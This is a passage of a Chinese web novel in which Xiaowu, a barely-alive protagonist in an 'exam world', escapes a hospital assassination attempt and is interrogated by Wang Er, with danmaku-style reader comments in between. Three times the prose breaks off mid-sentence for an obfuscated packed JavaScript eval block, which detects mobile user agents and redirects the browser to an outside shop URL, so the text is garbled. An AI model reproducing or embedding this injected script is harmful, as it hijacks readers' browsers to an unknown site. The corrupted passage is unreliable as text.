短匕很锋利，动手的人果断又毫不留情，警务人员阻止不及，假护士原本完好的手顷刻掉落在地，鲜血争相从创口处喷涌而出，又被假护士身上的不明装备截断。不明装备十分智能的形成了一个简易的止血环，紧紧勒在切口附近，又包裹住了切面，似乎是开了紧急制冷，切面处被迅速冻住。 8. 八 被一把甩开的小五跌坐原地，往后挪了挪，用完好的那只手撑着墙面站起来，慢慢往床边走。 那边三人已经重新缠斗在一起，一边想活捉，一边在砍掉自己的手以后又想继续对小五发难，这次，终于肯履行保护职责的警务人员将她拦了下来。 小五挪到床边，从枕头底下摸出那张一直没看的小纸条，打开。 上面只有两个字。 ——窗外。 回过头看向依旧在缠斗的三人。 假护士小姐姐就真的很认真，在场所有人里数她最认真，目标坚定始终如一，她身上的气场完全变了，灵光混沌，整个人透出一股嗜血的凶狠。她的战斗能力明显不如两名全副武装的警备人员，却意外的能坚持这么久。 小五面无表情。 真的好意外哦。 所以这张字条究竟是谁，或者说，哪方势力给她的？ 假护士小姐姐再次被压制，他身上那层赛博防护早就被打穿了，其中一名警备人员正将手伸向她的下颌，不知道摸到了什么，一用力，撕下了一层光网似的东西。 假护士小姐姐被迫露出真容。 那是一张布满疤痕与烫伤痕迹的脸，五官都有些模糊不清，缺失部分眼皮的眼睛正生动演绎着什么叫真正的目眦欲裂。 “放开我！” 她表情狰狞的怒吼，努力的挣扎，却依旧徒劳。 忽然，她不再看小五的方向，而是猛的扭头，朝向室内的监控之一。 “杀了她！她会害死所有人！杀了她！” 小五：？ 她跟着假护士的视线看向监控的方向，突然发现，所有的监控，室内，所有的，在假护士说完那句话以后，都在转向。 齐刷刷的，转向她的方向。 …… 草。 如果不是她现在的身体机能不允许，这场景多少值一身鸡皮疙瘩。 与此同时，两名同样被这句话惊到的警务人员耳内响起了一个男声。 “系统被入侵了，控制住现场，拿到注射器，增援一分钟内到。” 系统被入侵？ 二人来不及细想，反应迅速的在短暂的对视后立刻做出无声且默契的分工，一人继续控制假护士，一人快步冲向之前被假护士丢开时因刚好掉在看护沙发上而免于碎裂的注射器。 然而，有一只手比他更快。 小五抢过那支完好的注射器，她一边后退，一边将注射器怼到自己的眼珠子前。她的脖子上还带着支具，一个胳膊耷拉着挂在袖管里，完好的手颤颤巍巍的。 警务人员眉头一皱，上前要抢。 “不要过来！”小五大喊一声，她感受到自己的腰已经靠到了窗台边缘，于是站定。 她看着警务人员的方向。 不就是演么？我也会。 小五颤颤巍巍的开口。 “你们想要这个，对吧。” “你们根本没想救我……你们和他们一样，你们都一样！” “这是什么，毒药，对吗？我用了，你们就没了，你们什么都没了！” 警务人员停在了原地。 假护士还在叫嚣，不停的叫嚣杀了她，负责压制她的那个警务人员仿佛终于开窍，从身后掏出一个仪器对着她来了一下。假护士高喊的声音顿时消失，她晕了过去。 “你不要紧张，不要乱动，把东西放下。” 警务人员在脑内尝试呼叫，寻求指示，然而没有人回应他们。 他们得到的命令里其实是有保护眼前这个骷髅人的部分的，但是是最低限度的保护，之前一直没动作，也是因为情况在他们的掌控之中。 可这些没办法和眼前的人说。 别一个不好又把人给刺激了。 一分钟的时间马上就到，增援很快就来，他们得先把人安抚住。 “退后！不要过来！离我远点！” 弄晕假护士的那个警务人员刚刚想要上前帮忙，就被迎面而来的吼声拉停了脚步。 眼见那个骷髅人几乎要将手里的注射器怼进眼睛里，他赶忙后退。 “好，我不过去，你别紧张，我们不是你想的那样，不要怕。” 见目的达到，小五恶狠狠的用抖抖嗖嗖的声音吼另一个，“你也退！” 那人听话的退了两小步，不多。 他们已经听到走廊里传来的脚步声了。 就在这时，离窗更近的一名警务人员忽然眼神一厉，他猛的朝小五的方向扑，却被脚下突兀传来的力道拉的一个趔趄——本该被打晕的假护士不知道什么时候已经醒来，她拉住眼前人的腿，单膝跪地就要起身。 退至不远处的另一人见状立刻上前帮忙。 而小五的身后，一道黑色的影子，带着极大的力道，砰的一声撞在了玻璃上。 那是一只鸟，漆黑的羽毛在室内光线的照射下反着光，及时躲到一边的小五看了眼那只鸟戳穿了玻璃的尖尖的喙，以及喙边并没有碎但布满裂痕的玻璃。 鸟的两支爪子这会儿正抵着玻璃，翅膀不停扑腾，努力往外拔它的嘴。 小五估摸了一下它戳的位置……居然不是她站的位置，戳错了？ 身后是新一轮的混战，门外是越来越近的脚步声，至于窗外，鬼知道窗外有什么。 说不定会更糟呢？ 她将注射器叼进嘴里，单手打开锁扣，一把拉开窗户。 猛然移动的窗户让那只大黑鸟顿时失去平衡，它被挂在那仅凭脖子支撑着晃了个圈，小五注意到鸟眼睛非常人性化的瞪了她一眼。 嘿。 所以这又是哪一方。 警方的增援已经赶到门口。 小五扶着窗框看了眼，11层，高是真的高，底下有零星的灯光分布，看起来似乎挺干净。 哪像这个病房，龙潭虎穴的，她还莫名其妙被人贴上了必须再死一次的标签。 到底是把她认成什么了啊…… 小五脚下用力，跃了出去。 ！ “等等！别！” 刚赶到的增援们立刻上前就要把人捞回来，他们的速度也是真的快，一个闪身就到了窗边，而这时，小五的身形堪堪掉落到窗框以下，是一个伸手就能够到的距离。 增援也是这么想的，他在伸出手的同时，内心松了口气。 可惜松早了。 被玻璃硬控了半天的黑色大鸟终于将自己拔了出来，它张开翅膀，尖锐的爪子直冲增援的面门袭去，逼的增援不得不收回手格挡。 只这一下短暂的耽搁，小五已经落了下去。 周遭呼啸的风带着夜晚特有的凉，啪啪的朝脸上拍，小五没什么力气去调整自己的姿势，就这么随意的往下落。她转动眼珠试图观察周围有什么异样，奈何风压有点大，坠落的失重感又让她有些犯恶心。 她什么也没看清。 别就这样摔死了吧，她漫无目的想着。摔死也不是不行，不过是在有碍观瞻的基础上多加一层支离破碎，也不知道到时候见到师父，又要被叨叨多久。 应该是能见到的吧…… 既然看不清，小五干脆闭上了眼。 十一层的高度，落起来其实挺快的。 这座综合医疗中心的下面六层都是常规治疗分区，人多，也热闹。 三楼的大厅一侧，一名阿姨正陪着自己吃坏肚子的乖孙输液。乖孙好容易被她哄睡着，此刻正做着不知名的美梦，咯咯咯的笑，阿姨看的一脸慈爱。她们的旁边就是窗户，窗户被阿姨推开了一点缝隙通风。 一道身影在此刻迅速经过她们身边，带起一阵后知后觉的风。阿姨疑惑的抬头去看，还以为变天了，就见有一个穿着一身黑的身影，头脸手全都捂着看不见，打开窗户，顺着窗口一跃而上。 阿姨被吓了一跳，赶忙跑到窗边。 等会儿，一跃而……上？ 她缓缓抬起头。 外面黑漆漆的一片，她的视力不太好，只能勉强看到一道黑影，蹭蹭的，跟电视里那些天选者似的，在空中一闪而过。 那黑影的怀里，似乎是抱了个人？ 阿姨揉了揉眼睛。 小五被救了，还是公主抱。 虽然是意料之中吧…… 要知道，她还没被人公主抱过呢，小的时候师父对她就是各种提溜，长大后遭遇的也都是肩抗和搀扶。 公主抱哎，真稀罕。 她礼貌的羞涩了一下。 闭着的眼睛睁开，就着周遭微弱的光看向救她的人。 …… 小五：？ 不是，我王二哥呢？ 许是她的疑惑太明显，抱着她的人胸腔振动两下，凑近低声说道，“怎么，看到是我，很意外？” 他们的移动速度很快，抱着她的人很了解周围的地形，走的都是些昏暗的小巷或屋顶，上上下下的飞。 话又说回来，怎么可能不了解呢？ “那必然是意外的，”小五瞅着对方捂的严严实实的头上露出来的那双眼熟的眼睛，说道，“尊敬的口罩警察先生。” 对方胸腔震的更厉害了，“被认出来了啊……这可怎么办，不然……灭口吧？” 小五：…… “原来你是这种人设吗？” 那人闻言，终于在赶路的百忙之中抽空瞅了一眼小五，“你不怕？” 小五想了想，回道，“也不是不可以怕一下。” 于是对方的胸腔又开始了新一轮的震动。 他说，“不，你不怕。” 小五：…… “你说得对，我真名五大胆，这个世界上就没有我怕的东西。” 于是对方边震边说，“原来如此，失敬失敬。” 小五想说你敬可以，能不能别震了，再震她真的要吐出来了。然而她没说，她怕说多了也会吐，到时候场面可能会有点难看，只能默默选择闭麦。 大概是因为赶路的速度够快，又或者原本的目的地本身并不远，他们很快停了下来。 低矮的房檐连绵一片，老旧的楼房东戳一栋西戳一栋。 一片修仙世界版的城中村，看起来依旧和她的世界那边没什么太大区别。 小五被放了下来，他们现在在一条狭窄漆黑的巷子口。 她回头去看口罩哥，这位哥冲她眨了眨眼。 小五：？ 她指了指巷子，又指了指自己。 口罩哥点了点头，鼓励的看着她。 行。 小五转身向着巷子内走去。 …… ………… ……………… “还真不怕啊，五大胆儿~” 身后男人吊儿郎当的声音再次响起，小五默默回头看他。她已经基本走进了巷子里，整个人被阴影包裹，站在口罩哥的位置，已经不怎么能清晰的瞧见对方的身形了。 小五，“你怎么还在？” 口罩哥：…… 两人对视了一会儿。 口罩哥又笑了，这人似乎很爱笑，和初见时成熟稳重的形象一点都不搭边。 口罩哥冲着小五身后的方向扬了扬下巴，“跟着那只八哥，你俩已经见过了。” 小五顺着对方示意的方向看了一眼，正看到一只鸟，站在巷子旁边支愣出来的电线杆上，歪着脑袋看过来。两只豆豆眼在黑黢黢的环境里发着幽幽红光。 她回过头，口罩哥已经不见了。 哇哦，转头没。 有超英那味儿了。 小五默默琢磨着，转身继续往巷子里走。不远处电线杆子上的大黑鸟扇扇翅膀落到她的脚边，在她没穿鞋的脚面上啄了一下，似乎是觉得口感不好，咔哒咔哒的拌了两下它那尖尖长长的喙，接着扭着屁股，化身走地鸡，真就到前面引路去了。 它那一身油光水滑的黑羽无缝融入巷子里漆黑的空间，但小五依旧能清晰捕捉到它的方位——它的脖子扭了180度，两只发光的豆豆眼正正朝向小五的方向。 小五：…… 虽然但是，其实她想笑。 —————— 【妈呀，喘口气喘口气，吓的我大气不敢出】 【什么夺命病房】 【一时间甚至分不清这是智类考核还是武类】 【倒也不至于分不清，武类比这激烈多了，感觉更像是开了隐藏】 【还有隐藏？！（战术后仰）】 【有一说一，五妹妹这个壳子真的拖累】 【确实】 【哟，这就叫上妹妹啦】 【也不知道她怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149253|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡上的bug，按理说像她这样的应该是能触发系统的自动修复的】 【系统判定的依据是‘是否有自主行动力’，和伤势没关系，而她明显有】 【她现在这个一戳就碎的情况，我真怕她一会儿摔一跤把自己給摔没了】 【你别说，真有可能】 【所以她现在要去哪？有人知道吗？】 【不知道】 【妹妹自己可能也不太知道】 【啊这】 【掺和进来的势力至少有三股，这次的考核有点东西】 【病房里摄像头齐刷刷转的时候，真的瘆人】 【个破摄像头都能吓到你哦】 【妹妹一言不合就跳楼也挺吓人的，那一刻仿佛看到了我的积分，在向我挥手道别】 【感觉自己少看了十集】 【别说了，随便来个谁，快把妹妹那胳膊给接上吧，或者把脖套卸了也成】 【你不说我都忘了，怎么脖套还在呢？】 【那么大一个杵在那你说你忘了？】 【话说怎么就喊上妹妹了？万一是奶奶呢？】 【这么可爱，肯定是妹妹】 【……请问阁下如何看出的可爱】 【用眼看】 【用心看】 【用五脏六腑看】 【妹妹可能不是很想要你们的五脏六腑】 【只有我一个人觉得身残志坚智斗各方势力最后全身而退挺燃的吗？】 【前面的，你不是一个人】 【妹妹有一股无关性别，无关外貌的魅力，咱也不是很说的准】 【什么魅力？】 【能帮我赢积分的魅力】 【……那确实是很有魅力】 【话说有人知道其他人的进度吗？】 【自己去看呗】 【要积分的啊，穷啊】 【可以去论坛刷刷，表现好的说不定会有楼】 【有道理】 —————— 小五正顶着八哥大爷那双红豆眼，在心里默默复盘刚刚发生的事。 首先是警方，他们明显在钓鱼，就是不知道他们自己内部预设的鱼单里一共有多少条。而且他们对自己也有怀疑，他们在利用假护士试探她。至于怀疑什么，线索太少。 其次，假护士。感谢慷慨的小姐姐送来了关键信息——人体实验的假设成立，以及，很可能存在一种可以通过唾液传播的病毒。 搞人体实验的组织大概率丢失了一具携带有这种病毒的实验体，而这个被丢失的实验体和她的外貌特征基本相符。 他对现在自己的外貌情况很有自知之明，所以，该不会真丢了具干尸吧…… 有意思了不是，多大的巧合啊。 他们会产生这样的联想，难不成丢的干尸和王二哥有关？因为她是被在与王二哥有关的408发现的？警方的鱼单里有王二哥吗？ 假护士小姐姐和人体实验组织应该不是一路的，她这种带了点自杀式袭击意味的暗杀，以及普通的身手和不普通的装备……有一定财力的民间组织吗？ 要是来的是什么厉害点的杀手……不对，厉害点的杀手不会被警方放进来试探她，风险太大了。 至于后面，摄像头的诡异动作，被黑了？背后是谁？ 还有还有，我们的口罩哥，身为警方人员却与王二哥拉拉扯扯…… 不用感觉了，水是真的好深。 小五已经在八哥的带领下走进了巷子深处，这里是一片垃圾堆放地，气味很扑鼻。 八哥停了下来，于是小五也停了下来。 八哥扇扇翅膀，飞到了一个垃圾桶盖上，小五歪过头看它。 八哥开始梳理自己的羽毛。 小五盯着它看了一会儿，她的手里还捏着那个小型注射器，此时被她悄悄调整了一下位置，变的更顺手一些。 忽然，她旁撤一步，旋身回头，手里的注射器被拿来充作武器，向着自己的身后猛的扎了过去。 被截停了。 来人轻描淡写间化解了她的攻势，又出手迅捷的摸向她脖颈间的支具。手指与支具接触不过半息，这个架住她脖子大半天的家伙就乖乖的裂了开来，又被始作俑者无情的丢进了垃圾堆里。 小五：…… 牛的。 对方从她手里拿走了那个小型注射器，随意的揣进兜里，接着，垂眸看向她。 “换个地方。” 话音落，小五已经被人抗在了肩上，这人的肩膀顶的她胃部一阵翻涌，她忍无可忍的……轻轻拍了拍人的后背。 “王二哥，打个商量，咱们能换个姿势吗？” “我真的要吐了，忍不住。” …… 小五最后依旧是被扛着走的，她也确实吐了，只是都是干呕。 可恶，真想糊他一背的呕吐物。 揉了揉难受的胃，小五恶狠狠的想。 她被丢进了一把破破烂烂的塑料椅子里，也亏她如今体重轻，不然就凭这椅子的破损程度，谁坐它都能碰瓷一样垮一地。 抬眼，王二就坐在他对面。 时间稍微往回拉一点，来到小五还在408厕所的时候。墙上伸出的手在犹豫，犹豫，却暂时没有放开小五的打算。警察就在门外，手里还拿着电话，电话那边的接线员可能正在仔细的捕捉来自她这边的声音。 王二是很强，但同时携带两人一头离开实在有些为难人，而他看起来也没有和警方接触的意思。如果她选择出声暴露王二的存在，很可能王二这条线就永久关闭了。 一个明显和考核内容有很深联系的人物相关路线永久关闭，大概率会导致无法逆转的后果。 小五很快做了决定。 她歪着脑袋，将手机夹在肩膀和头中间，腾出手，在对方的手背上写字。 ——来接我。 回忆结束。 现在想想，当初她写完字对方便毫不犹豫的放开了手，估计也有在心里预演过将她暂时留在警方手里之后的事情。 而且，其实现在也不能就确定王二和警方之间的关系，更何况还有口罩哥这位二五仔。 王二应该是办事不拖拉的性格，他没给小五留太多适应和思考的时间。 “你是谁？” 9. 九 “你是谁？” 小五微微挺直了背，想了想，回答，“这个问题的答案，取决于你想知道什么。” “我是一个死人，一个本该死了的人，但我想，你想知道的应该不是这个？” 王二微微皱眉，对小五的回答不置可否，他又问，“你为什么会出现在那里？” “你是说408？”小五答道，“要说为什么，如果我说我也不知道……”她觑了眼王二阴沉沉的神色，“……的确不知道，真的。” “我是突然被塞到那里的，塞，你懂吗？我活着的时候，有在特殊部门挂职，专门处理非正常事件的那种特殊部门，一睁眼看到那么奇怪的现场，当时脑子还迷迷瞪瞪的，条件反射就调查了一下……” 她看向王二，“一点职业病。” 王二靠在椅背上，同样的塑料椅子被他这么一坐仿佛都抬了两级咖。 “继续说。” 小五收回目光，接着说就接着说，“调查之后，发现这里好像不是我生活的世界，它有点不一样，”声音顿了顿，像是在回忆，“……灵气复苏，全民修仙，还有搞的跟大学一样的门派……哦，在我们那叫门派，不过我没有门派，我师父就是个闲散道士，日常给人相面看风水糊口。” “还有历法，这个也不一样，在我们那叫公元，你们是新历……” 小五还要再说，被王二打断了。 “为什么砸墙？” “……砸墙啊，因为那里的气不一样，现场搞的和邪教献祭似的，我很确定我是死了的，突然活过来，总有个原因吧？我到处查看，发现墙那里有些不对，本来怀疑墙里藏了什么东西。” “气？” “对，气，”小五抬起手指了指自己的眼睛，“你不知道？这不是入玄门的必修课吗？” 她一副无语的样子，忍不住小小声嘀咕，“还真是哪哪都不一样，连观气都不会，说是灵气复苏，也没见有什么特别的……” 见王二沉沉盯着她不说话，又正色，很正经的接着说，“心思纯净，立身持正，不干人事，作奸犯科，气是不同的。” “你身上的气就很干净，又干净又温暖，是个好人。” “见到你，我确定了一件事。” “我应该是因为你才又活过来的。” —————— 【因为你才又活过来的，四舍五入，没啥毛病】 【确实哈哈哈】 【我去，妹妹的阴阳眼挺厉害啊，正常看不了这么细致吧我记得】 【前面的，那不叫阴阳眼】 【表面看没什么特别的】 【忽悠人的本事还可以，真九假一，看似说了很多，实际真正重要的一个字没提】 【妹妹显然有预设考核世界里存在她所不了解的测谎机制的可能性】 【对，人家问的408的事，她说塞进去，这个是408，但刚醒来，迷糊，条件反射观察情况，应该是在405时的感受】 【缝缝又补补，拼拼又凑凑】 【真有测谎机制，也只能说她有隐瞒，不能说她撒谎，可以争取一定的可操作空间】 【还好她没直接透露或试图暗示考核相关的内容，不然这会儿已经出局了】 【肯定也有考虑过这方面啦】 【不是，你们智类考核人均八百个心眼子吗？】 【这才哪到哪……】 【友友们，感觉王二没那么好忽悠】 【对，就看妹妹怎么操作了，想在短时间获得王二的信任，有点难】 【如果仅仅只是信息交换呢？】 【还是难，妹妹手里根本没能用的筹码】 【还不如留在医院呢，至少不受罪】 【留医院推不了进度，官方不可能给一个来历不名的人参与调查的权限，还是个在他们眼里有隐患的嫌疑人】 —————— 没等王二有什么反应，小五已经自顾自开始了新一轮输出。 “其实我有预设你不来找我的情况，当时也想过要不要告知警方还有另一个人存在，毕竟那个时候，仅凭一只手无法确定你究竟是凶手，还是后面赶来的那个人……” “……在医院的时候本来是想安安静静当个工具人，配合警方钓人嘛。毕竟，你看，我得治疗，对吧。你也能看到我的状态，正常人到我这一步多少得是囫囵个在缺水沙地里埋了一年半载以后的效果，能活蹦乱跳全都仰仗祖师显灵，本来也不想太掺和进自己不了解的事，结果没想到他们玩的那么凶猛，而且明显不信任我。” “哦，祖师显灵就是个比喻，我家祖师可不会显这个灵，他们要是知道我敢亵渎生老病死的自然规律能托梦追着我花样殴打，以后别想好好睡觉了。” “对了，你会接胳膊吗？我胳膊掉了，感觉筋都被那个护士小姐姐扯断了，疼好久了。” 小五看着王二，对方也看着她，他没对小五唠唠叨叨的话语做出任何反应，皱着眉头的样子在顶灯的照射下更显眼窝深邃。 小五撇嘴，这个动作在她脸上显得有些诡异的滑稽，“行吧，你也不信我，奇了怪了，你们都把我认成什么了？” “难不成真有干尸？” 王二听到干尸两个字，终于肯给点反应，“你还知道什么？” “知道什么？”小五可怜巴巴的抓起自己晃荡了半天的胳膊，咬着牙试图怼回去，“知……知道你在查……查一件事，知道失……失踪……失踪案可能……额……” 手里的胳膊被王二抓住，对方按着她的肩膀，找了找位置，哒的一下，就把她的胳膊接了回去。 王二看了眼疼的眉心直抽抽的小五，“你很聪明。” 懂得卖惨，会演戏，还会套话，明明处在自身难保的境地，却一副游刃有余的样子，仿佛无所畏惧。 小五试图动一下被重新链接的胳膊，发现控制艰难。 行吧，筋脉果然受了损伤。 她看着王二重新走回对面坐下。 “……谢谢。” 王二对她的道谢没有任何表示，他开口，“你说你是个死人。” “对对。” “但你能跑能跳，能说话，还知道疼。” “可能是没死透叭。” 王二看着小五眯了下眼，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149254|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊不想要了？” 小五：…… 她原本已经靠到椅背上的腰瞬间挺直，正色道，“要的。” 王二看了她一会儿，接着说，“你说你知道有两个人，理由？” “头不见了，”小五想了下怎么编（划掉）怎么说，毕竟在405的发现是未来还没发生的事，不好讲，“室内没有打斗的痕迹，我刚开始以为是凶手打扫了现场，带走了战利品，报警以后查看厕所，试图砸墙结果墙上长出了一只手。” “第三人出现了，要么是凶手，要么是协助者，我直觉是你啦，主要是你没伤害我，而且刚行过凶的人身上血气重，很容易感受到的。” 并不容易，人身上的气很复杂，单看手就能看出血气，她真没那么厉害，而且总用眼‘看’对身体的负担很大。 小五说完，安静端坐。 王二的手指敲了一下腿面，也没说信没信小五这番说辞，“你让我接你，理由？” 小五，“额，难道不是你需要我吗？” 王二闻言，仔细看了她一会儿，忽然起身，一步跨过两人之间短短的距离，伸手咔的一下，把刚刚他亲手接上的骨头重新拽了下来。 小五痛的喉头一梗，这人手法极其刁钻，这么一卸竟然比之前被假护士扯断的时候还要疼。 她条件反射抬起来想要格挡的手正被对方捏着拉过头顶。 “敢叫出声，这条胳膊也可以不要了。” 小五抿着唇，深吸了两口气。 王二：“听明白了？” 小五点了点头。 他又看了一会儿眼前人圆溜溜的头顶，半晌，松开了捏着对方完好腕骨的那只手。 王二重新问了一遍，“你让我接你，理由？” “……想知道你，你们到底想干什么。” “谁派你来的？” “没人派我，纯纯自己好奇。” 因为好奇才选的继续考核，小五默默的想。这人的戒备心太重了，仅凭在警方那里遮掩他在408事件中的存在这件事并不能换取他的信任，还得再加码。 可是真的太疼了，下手好黑啊呜呜呜，可恶。 小五抬眼委屈巴巴的看他，“你又要拆我胳膊了吗？” 王二没理她着茬，“你说是因为我才复活。” “不是复活。” “什么意思？” 小五看着他，“字面意思，我只是暂时能动，不是复活。” 她把自己又耷拉下来的胳膊摆摆正，团进了椅子靠背里，“死的好好的，莫名其妙醒来，睁眼就是案件现场，那就查查，遇到个活人，看他可怜，那就帮帮。” 王二因这句可怜挑了下眉，他想到了小五之前提到的观气。 小五还在接着说，“而且也是遇到你以后，我才能感觉到自己还能在这里呆多久，你很关键。” 遇到墙手——开启支线——倒计时刷新。 没毛病。 “我才是那个最想问为什么的人，为什么有人要杀我？为什么你真的会来接我？为什么警方看起来很重视？” “为什么我会活过来？” 10. 十 小五的眼睛直勾勾的看向王二，像是在询问，但那双眼睛里透出的东西却有些古怪。 她在看他，却又不是在看他。 好像……在透过他找什么东西…… 王二被这个想法惊了一下，他浑身肌肉猛的紧绷，一股无形的气势刷的荡开。小五吓了一跳，微微失焦的瞳孔重新凝聚。 干嘛呢这是？ 她就是稍微走了下神，想着眼前人说不定和自己身边的面板一样的基础组成，结果这人忽然来这么一出。 王二的戒备没有松懈，眼前人很弱，明明很弱，却给他带来了莫名的危机感，他在意的是，“你在看什么？” 什么我在看什么，我……啊…… 小五一愣。 不是，这么智能的？ 她张了张嘴，“没在看什么，就是在想，把我从死亡中叫醒的东西，是不是……” 她意有所指的默默盯着王二。 王二：…… 王二刷的站起身。 他再次靠近小五，单手提着小五的衣领把人从椅子上拎了起来。 “最后一遍，你的目的，”他眉眼阴郁的盯着她，“不说实话，我不介意满足你的愿望，送你一程。” 小五：……哦吼。 “我的目的？”她瞪着眼前这张脸，别说，是真的好看，特别是眼睛，透着一股压抑的疯劲与狠劲。 好看，爱看。 她在心底默默吐槽了一下考核世界敷衍的起名机制，真的一点都配不上眼前人的气质。 “我的目的，就是捞一把你这个大傻哔！” 王二一愣。 小五自顾自开始发疯，她单手抓住对方的胳膊，两只腿疯狂扑腾着踹人。 “我干什么了你就在这审讯我，压迫我，还用私刑，你妄为修行人！” “还要杀我？！” “臭表脸！欺负人！坏透了！你身上的气是你偷来的吧，臭小偷，我呸！” 王二：…… 王二试图制服胡乱踢腾闹个不停的小五，然而小五根本不怯。 有句话怎么说的来着？哪里有压迫哪里就有反抗！ 王二不耐烦了，手下没个轻重。 咔嚓。 明明不大的声响，却分外抓耳。 …… 小五的动作一顿，王二同样停手，室内忽然寂静。 寂静中，小五新鲜出炉的断腿在空中一晃一晃。 小五：…… “啊啊啊我跟你拼了！！” 威胁的话还没来得及出口对方就又开始了新一轮闹腾，王二头疼的闭了闭眼。 …… 一段时间后，小五默默缩在椅子里，一副拒绝和王二有任何眼神交流的架势，明明干巴巴的脸上根本看不太出神情，却总能让人幻视一个气鼓鼓把自己团成个球的姑娘。 她的胳膊已经被重新接上了，断腿也简单做了固定，完好的那只手手腕上铐着手铐，另一端铐在椅子的扶手上。 王二站在不远处，微微侧着身，似乎是在和人交流。 感谢突如其来的未知联络，不然两个人这会儿估计还在菜鸡互啄。 某人一个人负责菜鸡和互啄的全部。 小五悄悄瞥了他一眼，收回视线，对着系统面板捋思路。 【资格考核（拟委托）】 【委托人：隐藏】 【委托内容：震惊！燃气泄漏，爆炸致十七人受伤，一人遇难】 【考核内容：在限定时间内完善自己的调查和推理（已通过）】 【合格标准：线索收集率超60%，推理正确率超60%（综合成绩已达标）】 【委托提示（加试）：灵气复苏（超级英雄）】 【请参考者自主探索】 考核倒计时还有一天多，委托内容依旧是爆炸案，自主探索的意思是，没有正确答案。 如果她不是这副外貌，被警察带走后应该不会去医院，也不会遭遇后面的一系列——一条新的支线。 选择不同的线路会迎来不同的结局，那评判标准又是什么？ 回归委托本身。 爆炸案，以及在爆炸案发生前出现在405的王二。 已知，王二正在调查一件事，或者一系列事，这个事大概率牵扯很深。 又已知，王二与口罩男有合作，王二对警方有防备。 又又已知，干尸，一具干尸，一具失踪的干尸，携带不明信息的干尸，病毒，或者其它什么。 又又又已知，失踪案，可能与失踪案有关联的人体实验。 还有奇怪的灵气复苏，并不那么全民的全民修行。 王二知道什么，已经制定了计划，并打算实施。 一个小小的爆炸案无法作为一个足够宏大的舞台，它不够格，但被一个疲惫的人拿来充作最后的谢幕。 已知，王二有死智。 散开的瞳孔，冰冷的脉搏，十分随意的事故伪装现场，405房间的密闭性能和它的外表一样老旧，说实话能不能造成爆炸还未可知，火倒是很可能会起。可如果现场有一具刚刚……那个叫什么来着，自绝筋脉，嗯，自绝筋脉的修行人的尸体的话，情况可能会稍稍有些区别。 案发地小区偏僻，老旧，租客了了。 老旧的楼房在爆炸下发生部分坍塌，造成伤者17人，仅一人死亡。 王二給自己选了个地方，没有亲朋，没有观众，他在那里结束了自己罪恶的一生，恩，罪恶。 小五摸了摸自己依旧在疼的胳膊腿。 一个天之骄子，在修行方面拥有极高的天赋。按常理而言，他本该走上一条繁花锦簇的坦途，却最终，在那样的午后，在那样一个角落，草草结束了自己的生命，仿佛再没有任何留恋。 不，他有的，他应该有的。 小五想起了405室内解说慷慨激昂的声音，想起了新历62年的宗门大比。 他也曾意气风发，满眼都是希望的光。 只是那早已过去，无法触及。 是发生里什么让他无法释怀的事吗？ …… 小五默了一会儿，晃了晃被自己的脑补虐到的脑子。 那边王二结束了自己和未知人的通话，重新靠近了小五。 “我可以回答你的问题，任何问题，前提是你要为我做事，我可以……”保障你的安全。 这句话王二没来得及说出口，小五又在呸他。 王二：…… 小五斜过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151732|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛，“狐狸尾巴露出来了哦，你费劲巴拉的又是找人捞我又是CPU我，何必呢？用脚趾头想都能猜到你需要我，哎，但你就不直说，还打我（那种语气）。” “会动的干尸不好找吧？” 王二：“不好找。” “还有什么要问的？” 小五噎了一下，她又想呸人了。 小五继续斜他，“什么都能问？” 王二：“只要是我知道的。” 小五眨了下眼——态度变的这么快，很急？ 出事了？ 她心思转来转去，面上丝毫不显。 “那我不客气了，”她转了转身体，面对王二，“我想知道灵气复苏是什么？” 王二似乎是没想到小五会问这个，他愣了一下，随即又开始皱眉。 “这个问题很难细说。” “那就请你勉为其难一下。” 王二：…… 他安静了好一会儿，似乎是在组织语言。 “新历之前，各种罕见的基因病频发，死亡率居高不下，人口锐减，随后出现一种特效药，再之后全民借种疫苗，有生物医药公司控制了水源，散播一种活性因子，这种活性因子可以与疫苗相互作用，成为一个开关，有的人能打开这个开关，成为灵气适用体质，有人不能，但因持续摄入因子能够维持一定的假性灵气配适体质，造成了可以化用灵气的假象。” 王二看着小五，“这就是所谓的灵气复苏。” 小五听完，心道，果然，如果真的灵气复苏，不该只有人类在往前走。 世界还是那个世界，变的只有人。 她说道，“虽然跟我想的有点不一样，但听起来还不错？” 王二笑了一声，“确实，听起来不错。” 小五看了他两眼，蹭蹭的往前挪了挪，“有猫腻？” 